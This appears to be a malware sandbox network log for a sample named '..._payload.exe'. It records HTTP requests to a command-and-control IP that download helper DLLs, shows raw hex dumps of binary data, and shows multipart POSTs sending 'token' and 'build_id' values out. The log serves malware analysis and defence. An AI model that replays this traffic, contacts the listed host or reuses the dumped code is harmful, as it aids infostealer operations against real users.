2024-08-04 00:21:26 UTC	16384	IN	Data Raw: 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c Data Ascii: ]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|
2024-08-04 00:21:26 UTC	16384	IN	Data Raw: c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:27 UTC	250	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:27 UTC	259	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:27 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:27 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:27 UTC	16125	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-08-04 00:21:27 UTC	16384	IN	Data Raw: 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 Data Ascii: t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;B
2024-08-04 00:21:27 UTC	16384	IN	Data Raw: 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 Data Ascii: EEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt
2024-08-04 00:21:28 UTC	16384	IN	Data Raw: c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-08-04 00:21:28 UTC	15603	IN	Data Raw: 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f Data Ascii: @L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicroso

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:28 UTC	242	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:29 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:29 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Sunday, 04-Aug-2024 00:21:29 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-08-04 00:21:29 UTC	16123	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQ
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b Data Ascii: Q=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d Data Ascii: @;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 Data Ascii: 8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 Data Ascii: `P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rtt
2024-08-04 00:21:29 UTC	16384	IN	Data Raw: 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:31 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:21:31 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 66 65 63 64 32 66 30 33 30 66 30 30 61 36 32 37 38 37 33 37 31 38 32 37 39 39 64 37 63 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"12fecd2f030f00a6278737182799d7cf------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------JKJEHJKJEBGHJJKEBGIECont
2024-08-04 00:21:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:21:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:21:32 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	168.119.176.241	443	6448	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:21:33 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
